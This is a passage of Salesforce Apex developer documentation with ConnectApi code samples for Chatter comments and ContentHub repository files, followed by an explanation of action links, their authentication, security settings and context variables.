feedElementId, commentInput, null);
Post a Comment with an Existing File
To post a comment and attach an existing file (already uploaded to Salesforce) to the comment, create a
ConnectApi.CommentInput object to pass to postCommentToFeedElement(communityId, feedElementId,
comment, feedElementFileUpload).
String feedElementId = '0D5D0000000KtW3';
ConnectApi.CommentInput commentInput = new ConnectApi.CommentInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
textSegmentInput.text = 'I attached this file from Salesforce Files.';
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
messageBodyInput.messageSegments.add(textSegmentInput);
commentInput.body = messageBodyInput;
ConnectApi.CommentCapabilitiesInput commentCapabilitiesInput = new
ConnectApi.CommentCapabilitiesInput();
ConnectApi.ContentCapabilityInput contentCapabilityInput = new
ConnectApi.ContentCapabilityInput();
commentCapabilitiesInput.content = contentCapabilityInput;
contentCapabilityInput.contentDocumentId = '069D00000001rNJ';
commentInput.capabilities = commentCapabilitiesInput;
ConnectApi.Comment commentRep =
ConnectApi.ChatterFeeds.postCommentToFeedElement(Network.getNetworkId(), feedElementId,
commentInput, null);
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Post a Comment with a New File
To post a comment and upload and attach a new file to the comment, create a ConnectApi.CommentInput object and a
ConnectApi.BinaryInput object to pass to the postCommentToFeedElement(communityId, feedElementId,
comment, feedElementFileUpload) method.
String feedElementId = '0D5D0000000KtW3';
ConnectApi.CommentInput commentInput = new ConnectApi.CommentInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
textSegmentInput.text = 'Enjoy this new file.';
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
messageBodyInput.messageSegments.add(textSegmentInput);
commentInput.body = messageBodyInput;
ConnectApi.CommentCapabilitiesInput commentCapabilitiesInput = new
ConnectApi.CommentCapabilitiesInput();
ConnectApi.ContentCapabilityInput contentCapabilityInput = new
ConnectApi.ContentCapabilityInput();
commentCapabilitiesInput.content = contentCapabilityInput;
contentCapabilityInput.title = 'Title';
commentInput.capabilities = commentCapabilitiesInput;
String text = 'These are the contents of the new file.';
Blob myBlob = Blob.valueOf(text);
ConnectApi.BinaryInput binInput = new ConnectApi.BinaryInput(myBlob, 'text/plain',
'fileName');
ConnectApi.Comment commentRep =
ConnectApi.ChatterFeeds.postCommentToFeedElement(Network.getNetworkId(), feedElementId,
commentInput, binInput);
Post a Rich-Text Comment with Inline Image
You can post rich-text comments with inline images and mentions two ways. Use the ConnectApiHelper repository on GitHub to write
a single line of code, or use this example, which calls postCommentToFeedElement(communityId, feedElementId,
comment, feedElementFileUpload). In this example, the image file is existing content that has already been uploaded to
Salesforce.
String
String
String
String
communityId = null;
feedElementId = '0D5R0000000SBEr';
imageId = '069R00000000IgQ';
mentionedUserId = '005R0000000DiMz';
ConnectApi.CommentInput input = new ConnectApi.CommentInput();
ConnectApi.MessageBodyInput messageInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegment;
ConnectApi.MentionSegmentInput mentionSegment;
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ConnectApi.MarkupBeginSegmentInput markupBeginSegment;
ConnectApi.MarkupEndSegmentInput markupEndSegment;
ConnectApi.InlineImageSegmentInput inlineImageSegment;
messageInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
markupBeginSegment = new ConnectApi.MarkupBeginSegmentInput();
markupBeginSegment.markupType = ConnectApi.MarkupType.Bold;
messageInput.messageSegments.add(markupBeginSegment);
textSegment = new ConnectApi.TextSegmentInput();
textSegment.text = 'Hello ';
messageInput.messageSegments.add(textSegment);
mentionSegment = new ConnectApi.MentionSegmentInput();
mentionSegment.id = mentionedUserId;
messageInput.messageSegments.add(mentionSegment);
textSegment = new ConnectApi.TextSegmentInput();
textSegment.text = '!';
messageInput.messageSegments.add(textSegment);
markupEndSegment = new ConnectApi.MarkupEndSegmentInput();
markupEndSegment.markupType = ConnectApi.MarkupType.Bold;
messageInput.messageSegments.add(markupEndSegment);
inlineImageSegment = new ConnectApi.InlineImageSegmentInput();
inlineImageSegment.altText = 'image one';
inlineImageSegment.fileId = imageId;
messageInput.messageSegments.add(inlineImageSegment);
input.body = messageInput;
ConnectApi.ChatterFeeds.postCommentToFeedElement(communityId, feedElementId, input, null);
Post a Rich-Text Feed Comment with a Code Block
This example calls postCommentToFeedElement(communityId, feedElementId, comment,
feedElementFileUpload) to post a comment with a code block.
String communityId = null;
String feedElementId = '0D5R0000000SBEr';
String codeSnippet = '<html>\n\t<body>\n\t\tHello, world!\n\t</body>\n</html>';
ConnectApi.CommentInput input = new ConnectApi.CommentInput();
ConnectApi.MessageBodyInput messageInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegment;
ConnectApi.MarkupBeginSegmentInput markupBeginSegment;
ConnectApi.MarkupEndSegmentInput markupEndSegment;
messageInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
markupBeginSegment = new ConnectApi.MarkupBeginSegmentInput();
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markupBeginSegment.markupType = ConnectApi.MarkupType.Code;
messageInput.messageSegments.add(markupBeginSegment);
textSegment = new ConnectApi.TextSegmentInput();
textSegment.text = codeSnippet;
messageInput.messageSegments.add(textSegment);
markupEndSegment = new ConnectApi.MarkupEndSegmentInput();
markupEndSegment.markupType = ConnectApi.MarkupType.Code;
messageInput.messageSegments.add(markupEndSegment);
input.body = messageInput;
ConnectApi.ChatterFeeds.postCommentToFeedElement(communityId, feedElementId, input, null);
Edit a Comment
This example calls updateComment(communityId, commentId, comment) to edit a comment.
String commentId;
String communityId = Network.getNetworkId();
// Get the last feed item created by the context user.
List<FeedItem> feedItems = [SELECT Id FROM FeedItem WHERE CreatedById = :UserInfo.getUserId()
ORDER BY CreatedDate DESC];
if (feedItems.isEmpty()) {
// Return null within anonymous apex.
return null;
}
String feedElementId = feedItems[0].id;
ConnectApi.CommentPage commentPage =
ConnectApi.ChatterFeeds.getCommentsForFeedElement(communityId, feedElementId);
if (commentPage.items.isEmpty()) {
// Return null within anonymous apex.
return null;
}
commentId = commentPage.items[0].id;
ConnectApi.FeedEntityIsEditable isEditable =
ConnectApi.ChatterFeeds.isCommentEditableByMe(communityId, commentId);
if (isEditable.isEditableByMe == true){
ConnectApi.CommentInput commentInput = new ConnectApi.CommentInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
textSegmentInput.text = 'This is my edited comment.';
messageBodyInput.messageSegments.add(textSegmentInput);
commentInput.body = messageBodyInput;
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ConnectApi.Comment editedComment = ConnectApi.ChatterFeeds.updateComment(communityId,
commentId, commentInput);
}
Follow a Record
This example calls follow(communityId, userId, subjectId) to follow a record.
ChatterUsers.ConnectApi.Subscription subscriptionToRecord =
ConnectApi.ChatterUsers.follow(null, 'me', '001RR000002G4Y0');
SEE ALSO:
Unfollow a Record
Unfollow a Record
When you follow a record such as a user, the call to ConnectApi.ChatterUsers.follow returns a
ConnectApi.Subscription object. To unfollow a record, pass the id property of that object to
deleteSubscription(communityId, subscriptionId).
ConnectApi.Chatter.deleteSubscription(null, '0E8RR0000004CnK0AU');
SEE ALSO:
Follow a Record
Get a Repository
This example calls getRepository(repositoryId) to get a repository.
final string repositoryId = '0XCxx0000000123GAA';
final ConnectApi.ContentHubRepository repository =
ConnectApi.ContentHub.getRepository(repositoryId);
Get Repositories
This example calls getRepositories() to get all repositories and get the first SharePoint online repository found.
final string sharePointOnlineProviderType ='ContentHubSharepointOffice365';
final ConnectApi.ContentHubRepositoryCollection repositoryCollection =
ConnectApi.ContentHub.getRepositories();
ConnectApi.ContentHubRepository sharePointOnlineRepository = null;
for(ConnectApi.ContentHubRepository repository : repositoryCollection.repositories){
if(sharePointOnlineProviderType.equalsIgnoreCase(repository.providerType.type)){
sharePointOnlineRepository = repository;
break;
}
}
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Get Allowed Item Types
This example calls getAllowedItemTypes(repositoryId, repositoryFolderId, filter) with a filter
of FilesOnly to get the first ConnectApi.ContentHubItemTypeSummary.id of a file. The context user can create
allowed files in a repository folder in the external system.
final ConnectApi.ContentHubAllowedItemTypeCollection allowedItemTypesColl =
ConnectApi.ContentHub.getAllowedItemTypes(repositoryId, repositoryFolderId,
ConnectApi.ContentHubItemType.FilesOnly);
final List<ConnectApi.ContentHubItemTypeSummary> allowedItemTypes =
allowedItemTypesColl.allowedItemTypes;
string allowedFileItemTypeId = null;
if(allowedItemTypes.size() > 0){
ConnectApi.ContentHubItemTypeSummary allowedItemTypeSummary = allowedItemTypes.get(0);
allowedFileItemTypeId = allowedItemTypeSummary.id;
}
Get Previews
This example calls getPreviews(repositoryId, repositoryFileId) to get all supported preview formats and their
respective URLs and number of renditions. For each supported preview format, we show every rendition URL available.
final String gDriveRepositoryId = '0XCxx00000000ODGAY', gDriveFileId =
'document:1-zcA1BaeoQbo2_yNFiHCcK6QJTPmOke-kHFC4TYg3rk';
final ConnectApi.FilePreviewCollection previewsCollection =
ConnectApi.ContentHub.getPreviews(gDriveRepositoryId, gDriveFileId);
for(ConnectApi.FilePreview filePreview : previewsCollection.previews){
System.debug(String.format('Preview - URL: \'\'{0}\'\', format: \'\'{1}\'\', nbr of
renditions for this format: {2}', new String[]{ filePreview.url,
filePreview.format.name(),String.valueOf(filePreview.previewUrls.size())}));
for(ConnectApi.FilePreviewUrl filePreviewUrl : filePreview.previewUrls){
System.debug('-----> Rendition URL: ' + filePreviewUrl.previewUrl);
}
}
Get a File Preview
This example calls getFilePreview(repositoryId, repositoryFileId, formatType) with a formatType
of Thumbnail to get the thumbnail format preview along with its respective URL and number of thumbnail renditions. For each
thumbnail format, we show every rendition URL available.
final String gDriveRepositoryId = '0XCxx00000000ODGAY', gDriveFileId =
'document:1-zcA1BaeoQbo2_yNFiHCcK6QJTPmOke-kHFC4TYg3rk';
final ConnectApi.FilePreviewCollection previewsCollection =
ConnectApi.ContentHub.getPreviews(gDriveRepositoryId, gDriveFileId);
for(ConnectApi.FilePreview filePreview : previewsCollection.previews){
System.debug(String.format('Preview - URL: \'\'{0}\'\', format: \'\'{1}\'\', nbr of
renditions for this format: {2}', new String[]{ filePreview.url,
filePreview.format.name(),String.valueOf(filePreview.previewUrls.size())}));
for(ConnectApi.FilePreviewUrl filePreviewUrl : filePreview.previewUrls){
System.debug('-----> Rendition URL: ' + filePreviewUrl.previewUrl);
}
}
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Get Repository Folder Items
This example calls getRepositoryFolderItems(repositoryId, repositoryFolderId) to get the collection of
items in a repository folder. For files, we show the file’s name, size, external URL, and download URL. For folders, we show the folder’s
name, description, and external URL.
final String gDriveRepositoryId = '0XCxx00000000ODGAY', gDriveFolderId =
'folder:0B0lTys1KmM3sSVJ2bjIzTGFqSWs';
final ConnectApi.RepositoryFolderItemsCollection folderItemsColl =
ConnectApi.ContentHub.getRepositoryFolderItems(gDriveRepositoryId,gDriveFolderId);
final List<ConnectApi.RepositoryFolderItem> folderItems = folderItemsColl.items;
System.debug('Number of items in repository folder: ' + folderItems.size());
for(ConnectApi.RepositoryFolderItem item : folderItems){
ConnectApi.RepositoryFileSummary fileSummary = item.file;
if(fileSummary != null){
System.debug(String.format('File item - name: \'\'{0}\'\', size: {1}, external URL:
\'\'{2}\'\', download URL: \'\'{3}\'\'', new String[]{ fileSummary.name,
String.valueOf(fileSummary.contentSize), fileSummary.externalDocumentUrl,
fileSummary.downloadUrl}));
}else{
ConnectApi.RepositoryFolderSummary folderSummary = item.folder;
System.debug(String.format('Folder item - name: \'\'{0}\'\', description:
\'\'{1}\'\'', new String[]{ folderSummary.name, folderSummary.description}));
}
}
Get a Repository Folder
This example calls getRepositoryFolder(repositoryId, repositoryFolderId) to get a repository folder.
final String gDriveRepositoryId = '0XCxx00000000ODGAY', gDriveFolderId =
'folder:0B0lTys1KmM3sSVJ2bjIzTGFqSWs';
final ConnectApi.RepositoryFolderDetail folder =
ConnectApi.ContentHub.getRepositoryFolder(gDriveRepositoryId, gDriveFolderId);
System.debug(String.format('Folder - name: \'\'{0}\'\', description: \'\'{1}\'\', external
URL: \'\'{2}\'\', folder items URL: \'\'{3}\'\'',
new String[]{ folder.name, folder.description, folder.externalFolderUrl,
folder.folderItemsUrl}));
Get a Repository File Without Permissions Information
This example calls getRepositoryFile(repositoryId, repositoryFileId) to get a repository file without permissions
information.
final String gDriveRepositoryId = '0XCxx00000000ODGAY', gDriveFileId =
'file:0B0lTys1KmM3sTmxKNjVJbWZja00';
final ConnectApi.RepositoryFileDetail file =
ConnectApi.ContentHub.getRepositoryFile(gDriveRepositoryId, gDriveFileId);
System.debug(String.format('File - name: \'\'{0}\'\', size: {1}, external URL: \'\'{2}\'\',
download URL: \'\'{3}\'\'',
new String[]{ file.name, String.valueOf(file.contentSize), file.externalDocumentUrl,
file.downloadUrl}));
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Get a Repository File with Permissions Information
This example calls getRepositoryFile(repositoryId, repositoryFileId,
includeExternalFilePermissionsInfo) to get a repository file with permissions information.
final String gDriveRepositoryId = '0XCxx00000000ODGAY', gDriveFileId =
'file:0B0lTys1KmM3sTmxKNjVJbWZja00';
final ConnectApi.RepositoryFileDetail file =
ConnectApi.ContentHub.getRepositoryFile(gDriveRepositoryId, gDriveFileId, true);
System.debug(String.format('File - name: \'\'{0}\'\', size: {1}, external URL: \'\'{2}\'\',
download URL: \'\'{3}\'\'', new String[]{ file.name, String.valueOf(file.contentSize),
file.externalDocumentUrl, file.downloadUrl}));
final ConnectApi.ExternalFilePermissionInformation externalFilePermInfo =
file.externalFilePermissionInformation;
//permission types
final List<ConnectApi.ContentHubPermissionType> permissionTypes =
externalFilePermInfo.externalFilePermissionTypes;
for(ConnectApi.ContentHubPermissionType permissionType : permissionTypes){
System.debug(String.format('Permission type - id: \'\'{0}\'\', label: \'\'{1}\'\'', new
String[]{ permissionType.id, permissionType.label}));
}
//permission groups
final List<ConnectApi.RepositoryGroupSummary> groups =
externalFilePermInfo.repositoryPublicGroups;
for(ConnectApi.RepositoryGroupSummary ggroup : groups){
System.debug(String.format('Group - id: \'\'{0}\'\', name: \'\'{1}\'\', type:
\'\'{2}\'\'', new String[]{ ggroup.id, ggroup.name, ggroup.type.name()}));
}
Create a Repository File Without Content (Metadata Only)
This example calls addRepositoryItem(repositoryId, repositoryFolderId, file) to create a file without
binary content (metadata only) in a repository folder. After the file is created, we show the file’s ID, name, description, external URL, and
download URL.
final String gDriveRepositoryId = '0XCxx00000000ODGAY', gDriveFolderId =
'folder:0B0lTys1KmM3sSVJ2bjIzTGFqSWs';
final ConnectApi.ContentHubItemInput newItem = new ConnectApi.ContentHubItemInput();
newItem.itemTypeId = 'document'; //see getAllowedTypes for any file item types available
for creation/update
newItem.fields = new List<ConnectApi.ContentHubFieldValueInput>();
//Metadata: name field
final ConnectApi.ContentHubFieldValueInput fieldValueInput = new
ConnectApi.ContentHubFieldValueInput();
fieldValueInput.name = 'name';
fieldValueInput.value = 'new folder item name.txt';
newItem.fields.add(fieldValueInput);
//Metadata: description field
final ConnectApi.ContentHubFieldValueInput fieldValueInputDesc = new
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ConnectApi.ContentHubFieldValueInput();
fieldValueInputDesc.name = 'description';
fieldValueInputDesc.value = 'It does describe it';
newItem.fields.add(fieldValueInputDesc);
final ConnectApi.RepositoryFolderItem newFolderItem =
ConnectApi.ContentHub.addRepositoryItem(gDriveRepositoryId, gDriveFolderId, newItem);
final ConnectApi.RepositoryFileSummary newFile = newFolderItem.file;
System.debug(String.format('New file - id: \'\'{0}\'\', name: \'\'{1}\'\', description:
\'\'{2}\'\' \n external URL: \'\'{3}\'\', download URL: \'\'{4}\'\'', new String[]{
newFile.id, newFile.name, newFile.description, newFile.externalDocumentUrl,
newFile.downloadUrl}));
SEE ALSO:
ConnectApi.ContentHubItemInput
ConnectApi.ContentHubFieldValueInput
Create a Repository File with Content
This example calls addRepositoryItem(repositoryId, repositoryFolderId, file, fileData) to create
a file with binary content in a repository folder. After the file is created, we show the file’s ID, name, description, external URL, and
download URL.
final String gDriveRepositoryId = '0XCxx00000000ODGAY', gDriveFolderId =
'folder:0B0lTys1KmM3sSVJ2bjIzTGFqSWs';
final ConnectApi.ContentHubItemInput newItem = new ConnectApi.ContentHubItemInput();
newItem.itemTypeId = 'document'; //see getAllowedTypes for any file item types available
for creation/update
newItem.fields = new List<ConnectApi.ContentHubFieldValueInput>();
//Metadata: name field
Final String newFileName = 'new folder item name.txt';
final ConnectApi.ContentHubFieldValueInput fieldValueInput = new
ConnectApi.ContentHubFieldValueInput();
fieldValueInput.name = 'name';
fieldValueInput.value = newFileName;
newItem.fields.add(fieldValueInput);
//Metadata: description field
final ConnectApi.ContentHubFieldValueInput fieldValueInputDesc = new
ConnectApi.ContentHubFieldValueInput();
fieldValueInputDesc.name = 'description';
fieldValueInputDesc.value = 'It does describe it';
newItem.fields.add(fieldValueInputDesc);
//Binary content
final Blob newFileBlob = Blob.valueOf('awesome content for brand new file');
final String newFileMimeType = 'text/plain';
final ConnectApi.BinaryInput fileBinaryInput = new ConnectApi.BinaryInput(newFileBlob,
newFileMimeType, newFileName);
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final ConnectApi.RepositoryFolderItem newFolderItem =
ConnectApi.ContentHub.addRepositoryItem(gDriveRepositoryId, gDriveFolderId, newItem,
fileBinaryInput);
final ConnectApi.RepositoryFileSummary newFile = newFolderItem.file;
System.debug(String.format('New file - id: \'\'{0}\'\', name: \'\'{1}\'\', description:
\'\'{2}\'\' \n external URL: \'\'{3}\'\', download URL: \'\'{4}\'\'', new String[]{
newFile.id, newFile.name, newFile.description, newFile.externalDocumentUrl,
newFile.downloadUrl}));
SEE ALSO:
ConnectApi.ContentHubItemInput
ConnectApi.ContentHubFieldValueInput
ConnectApi.BinaryInput Class
Update a Repository File Without Content (Metadata Only)
This example calls updateRepositoryFile(repositoryId, repositoryFileId, file) to update the metadata
of a file in a repository folder. After the file is updated, we show the file’s ID, name, description, external URL, download URL.
final String gDriveRepositoryId = '0XCxx00000000ODGAY', gDriveFolderId =
'folder:0B0lTys1KmM3sSVJ2bjIzTGFqSWs', gDriveFileId =
'document:1q9OatVpcyYBK-JWzp_PhR75ulQghwFP15zhkamKrRcQ';
final ConnectApi.ContentHubItemInput updatedItem = new ConnectApi.ContentHubItemInput();
updatedItem.itemTypeId = 'document'; //see getAllowedTypes for any file item types available
for creation/update
updatedItem.fields = new List<ConnectApi.ContentHubFieldValueInput>();
//Metadata: name field
final ConnectApi.ContentHubFieldValueInput fieldValueInputName = new
ConnectApi.ContentHubFieldValueInput();
fieldValueInputName.name = 'name';
fieldValueInputName.value = 'updated file name.txt';
updatedItem.fields.add(fieldValueInputName);
//Metadata: description field
final ConnectApi.ContentHubFieldValueInput fieldValueInputNameDesc = new
ConnectApi.ContentHubFieldValueInput();
fieldValueInputNameDesc.name = 'description';
fieldValueInputNameDesc.value = 'that updates the former description';
updatedItem.fields.add(fieldValueInputNameDesc);
final ConnectApi.RepositoryFileDetail updatedFile =
ConnectApi.ContentHub.updateRepositoryFile(gDriveRepositoryId, gDriveFileId, updatedItem);
System.debug(String.format('Updated file - id: \'\'{0}\'\', name: \'\'{1}\'\', description:
\'\'{2}\'\',\n external URL: \'\'{3}\'\', download URL: \'\'{4}\'\'', new String[]{
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updatedFile.id, updatedFile.name, updatedFile.description, updatedFile.externalDocumentUrl,
updatedFile.downloadUrl}));
SEE ALSO:
ConnectApi.ContentHubItemInput
ConnectApi.ContentHubFieldValueInput
Update a Repository File with Content
This example calls updateRepositoryFile(repositoryId, repositoryFileId, file, fileData) to update
the content and metadata of a file in a repository. After the file is updated, we show the file’s ID, name, description, external URL, and
download URL.
final String gDriveRepositoryId = '0XCxx00000000ODGAY', gDriveFolderId =
'folder:0B0lTys1KmM3sSVJ2bjIzTGFqSWs', gDriveFileId =
'document:1q9OatVpcyYBK-JWzp_PhR75ulQghwFP15zhkamKrRcQ';
final ConnectApi.ContentHubItemInput updatedItem = new ConnectApi.ContentHubItemInput();
updatedItem.itemTypeId = 'document'; //see getAllowedTypes for any file item types available
for creation/update
updatedItem.fields = new List<ConnectApi.ContentHubFieldValueInput>();
//Metadata: name field
final ConnectApi.ContentHubFieldValueInput fieldValueInputName = new
ConnectApi.ContentHubFieldValueInput();
fieldValueInputName.name = 'name';
fieldValueInputName.value = 'updated file name.txt';
updatedItem.fields.add(fieldValueInputName);
//Metadata: description field
final ConnectApi.ContentHubFieldValueInput fieldValueInputNameDesc = new
ConnectApi.ContentHubFieldValueInput();
fieldValueInputNameDesc.name = 'description';
fieldValueInputNameDesc.value = 'that updates the former description';
updatedItem.fields.add(fieldValueInputNameDesc);
//Binary content
final Blob updatedFileBlob = Blob.valueOf('even more awesome content for updated file');
final String updatedFileMimeType = 'text/plain';
final ConnectApi.BinaryInput fileBinaryInput = new ConnectApi.BinaryInput(updatedFileBlob,
updatedFileMimeType, updatedFileName);
final ConnectApi.RepositoryFileDetail updatedFile =
ConnectApi.ContentHub.updateRepositoryFile(gDriveRepositoryId, gDriveFileId, updatedItem);
System.debug(String.format('Updated file - id: \'\'{0}\'\', name: \'\'{1}\'\', description:
\'\'{2}\'\',\n external URL: \'\'{3}\'\', download URL: \'\'{4}\'\'', new String[]{
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updatedFile.id, updatedFile.name, updatedFile.description, updatedFile.externalDocumentUrl,
updatedFile.downloadUrl}));
SEE ALSO:
ConnectApi.ContentHubItemInput
ConnectApi.ContentHubFieldValueInput
ConnectApi.BinaryInput Class
Chatter in Apex Features
This topic describes which classes and methods to use to work with common Chatter in Apex features.
You can also go directly to the ConnectApi Namespace reference content.
IN THIS SECTION:
Working with Action Links
An action link is a button on a feed element. Clicking an action link can take a user to a Web page, initiate a file download, or invoke
an API call to Salesforce or to an external server. An action link includes a URL and an HTTP method, and can include a request body
and header information, such as an OAuth token for authentication. Use action links to integrate Salesforce and third-party services
into the feed so that users can take action to drive productivity and accelerate innovation.
Working with Feeds and Feed Elements
In API versions 30.0 and earlier, a Chatter feed was a container of feed items. In API version 31.0, the definition of a feed expanded
to include new objects that didn’t entirely fit the feed item model. The Chatter feed became a container of feed elements. The abstract
class ConnectApi.FeedElement was introduced as a parent class to the existing ConnectApi.FeedItem class. The
subset of properties that feed elements share was moved into the ConnectApi.FeedElement class. Because feeds and feed
elements are the core of Chatter, understanding them is crucial to developing applications with Chatter in Apex.
Accessing ConnectApi Data in Communities and Portals
Most ConnectApi methods work within the context of a single community.
Methods Available to Communities Guest Users
If your community allows access without logging in, guest users have access to many Apex methods. These methods return information
the guest user has access to.
Working with Action Links
An action link is a button on a feed element. Clicking an action link can take a user to a Web page, initiate a file download, or invoke an
API call to Salesforce or to an external server. An action link includes a URL and an HTTP method, and can include a request body and
header information, such as an OAuth token for authentication. Use action links to integrate Salesforce and third-party services into the
feed so that users can take action to drive productivity and accelerate innovation.
Workflow
This feed item contains one action link group with one visible action link, Join.
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The workflow to create and post action links with a feed element:
1. (Optional) Create an action link template.
2. Call ConnectApi.ActionLinks.createActionLinkGroupDefinition(communityId, actionLinkGroup)
to define an action link group that contains at least one action link.
3. Call ConnectApi.ChatterFeeds.postFeedElement(communityId, feedElement) to post a feed element
and associate the action link with it.
Use these methods to work with action links:
ConnectApi Method
Task
ActionLinks.createActionLinkGroupDefinition(communityId, Create an action link group definition. To associate an action link
group with a feed element, first create an action link group
actionLinkGroup)
definition. Then post a feed element with an associated actions
ActionLinks.deleteActionLinkGroupDefinition(communityId,
capability.
actionLinkGroupId)
ActionLinks.getActionLinkGroupDefinition(communityId,
actionLinkGroupId)
ChatterFeeds.postFeedElement(communityId, Post a feed element with an associated actions capability. Associate
up to 10 action link groups with a feed element.
feedElement)
ActionLinks.getActionLink(communityId,
actionLinkId)
Get information about an action link, including state for the context
user.
ActionLinks.getActionLinkGroup(communityId, Get information about an action link group including state for the
context user.
actionLinkGroupId)
ActionLinks.getActionLinkDiagnosticInfo(communityId, Get diagnostic information returned when an action link executes.
Diagnostic information is given only for users who can access the
actionLinkId)
action link.
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ConnectApi Method
Task
ChatterFeeds.getFeedElementsFromFeed()
Get the feed elements from a specified feed type. If a feed element
has action links associated with it, the action links data is returned
in the feed element’s associated actions capability.
IN THIS SECTION:
Action Links Overview, Authentication, and Security
Learn about Apex action links security, authentication, labels, and errors.
Action Links Use Case
Use action links to integrate Salesforce and third-party services with a feed. An action link can make an HTTP request to a Salesforce
or third-party API. An action link can also download a file or open a web page. This topic contains an example use case.
Action Link Templates
Create action link templates in Setup so that you can instantiate action link groups with common properties from Chatter REST API
or Apex. You can package templates and distribute them to other Salesforce organizations.
SEE ALSO:
Define an Action Link and Post with a Feed Element
Define an Action Link in a Template and Post with a Feed Element
Action Links Overview, Authentication, and Security
Learn about Apex action links security, authentication, labels, and errors.
Workflow
This feed item contains one action link group with one visible action link, Join.
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The workflow to create and post action links with a feed element:
1. (Optional) Create an action link template.
2. Call ConnectApi.ActionLinks.createActionLinkGroupDefinition(communityId, actionLinkGroup)
to define an action link group that contains at least one action link.
3. Call ConnectApi.ChatterFeeds.postFeedElement(communityId, feedElement) to post a feed element
and associate the action link with it.
Action Link Templates
Create action link templates in Setup to instantiate action link groups with common properties. You can package templates and distribute
them to other Salesforce orgs.
Specify binding variables in the template and set the values of the variables when you instantiate the action link group. For example,
use a binding variable for the API version number, a user ID, or an OAuth token.
You can also specify context variables in the templates. When a user executes the action link, Salesforce provides values for these variables,
such as who executed the link and in which organization.
To instantiate the action link group, call the ActionLinks.createActionLinkGroupDefinition(communityId,
actionLinkGroup) method. Specify the template ID and the values for any binding variables defined in the template.
See Design Action Link Templates.
Type of Action Links
Specify the action link type in the actionType property when you define an action link.
There are four types of action links:
• Api—The action link calls a synchronous API at the action URL. Salesforce sets the status to SuccessfulStatus or
FailedStatus based on the HTTP status code returned by your server.
• ApiAsync—The action link calls an asynchronous API at the action URL. The action remains in a PendingStatus state until
a third party makes a request to /connect/action-links/actionLinkId to set the status to SuccessfulStatus
or FailedStatus when the asynchronous operation is complete.
• Download—The action link downloads a file from the action URL.
• Ui—The action link takes the user to a web page at the action URL.
Authentication
When you define an action link, specify a URL (actionUrl) and the HTTP headers (headers) required to make a request to that
URL.
If an external resource requires authentication, include the information wherever the resource requires.
If a Salesforce resource requires authentication, you can include OAuth information in the HTTP headers or you can include a bearer
token in the URL.
Salesforce automatically authenticates these resources:
• Relative URLs in templates
• Relative URLs beginning with /services/apexrest when the action link group is instantiated from Apex
Don’t use these resources for sensitive operations.
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Security
HTTPS
The action URL in an action link must begin with https:// or be a relative URL that matches one of the rules in the Authentication
section.
Encryption
API details are stored with encryption, and obfuscated for clients.
The actionURL, headers, and requestBody data for action links that are not instantiated from a template are encrypted
with the organization’s encryption key. The Action URL, HTTP Headers, and HTTP Request Body for an action link
template are not encrypted. The binding values used when instantiating an action link group from a template are encrypted with
the organization’s encryption key.
Action Link Templates
Only users with Customize Application user permission can create, edit, delete, and package action link templates in Setup.
Don’t store sensitive information in templates. Use binding variables to add sensitive information when you instantiate the action
link group. After the action link group is instantiated, the values are stored in an encrypted format. See Define Binding Variables.
Connected Apps
When creating action links via a connected app, it's a good idea to use a connected app with a consumer key that never leaves your
control. The connected app is used for server-to-server communication and is not compiled into mobile apps that could be decompiled.
Expiration Date
When you define an action link group, specify an expiration date (expirationDate). After that date, the action links in the group
can’t be executed and disappear from the feed. If your action link group definition includes an OAuth token, set the group’s expiration
date to the same value as the expiration date of the OAuth token.
Action link templates use a slightly different mechanism for excluding a user. See Set the Action Link Group Expiration Time.
Exclude a User or Specify a User
Use the excludeUserId property of the action link definition input to exclude a single user from executing an action.
Use the userId property of the action link definition input to specify the ID of a user who alone can execute the action. If you
don’t specify a userId property or if you pass null, any user can execute the action. You can’t specify both excludeUserId
and userId for an action link
Action link templates use a slightly different mechanism for excluding a user. See Set Who Can See the Action Link.
Read, Modify, or Delete an Action Link Group Definition
There are two views of an action link and an action link group: the definition, and the context user’s view. The definition includes
potentially sensitive information, such as authentication information. The context user’s view is filtered by visibility options and the
values reflect the state of the context user.
Action link group definitions can contain sensitive information (such as OAuth tokens). For this reason, to read, modify, or delete a
definition, the user must have created the definition or have View All Data permission. In addition, in Chatter REST API, the request
must be made via the same connected app that created the definition. In Apex, the call must be made from the same namespace
that created the definition.
Context Variables
Use context variables to pass information about the user who executed the action link and the context in which it was invoked into the
HTTP request made by invoking an action link. You can use context variables in the actionUrl, headers, and requestBody
properties of the Action Link Definition Input request body or ConnectApi.ActionLinkDefinitionInput object. You can
also use context variables in the Action URL, HTTP Request Body, and HTTP Headers fields of action link templates. You
can edit these fields, including adding and removing context variables, after a template is published.
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The context variables are:
Context Variable
Description
{!actionLinkId}
The ID of the action link the user executed.
{!actionLinkGroupId}
The ID of the action link group containing the action link the user
executed.
{!communityId}
The ID of the community in which the user executed the action
link. The value for your internal organization is the empty key
"000000000000000000".
{!communityUrl}
The URL of the community in which the user executed the action
link. The value for your internal organization is empty string "".
{!orgId}
The ID of the organization in which the user executed the action
link.
{!userId}
The ID of the user that executed the action link.
Versioning
To avoid issues due to upgrades or changing functionality in your API, we recommend using versioning when defining action links. For
example, the actionUrl property in the ConnectApi.ActionLinkDefinitionInput Class should look like
https://www.example.com/api/v1/exampleResource.
You can use templates to change the values of the actionUrl, headers, or requestBody properties, even after a template is
distributed in a package. Let’s say you release a new API version that requires new inputs. An admin can change the inputs in the action
link template in Setup and even action links already associated with a feed element use the new inputs. However, you can’t add new
binding variables to a published action link template.
If your API isn’t versioned, you can use the expirationDate property of the
ConnectApi.ActionLinkGroupDefinitionInput Class to avoid issues due to upgrades or changing functionality
in your API. See Set the Action Link Group Expiration Time.
Errors
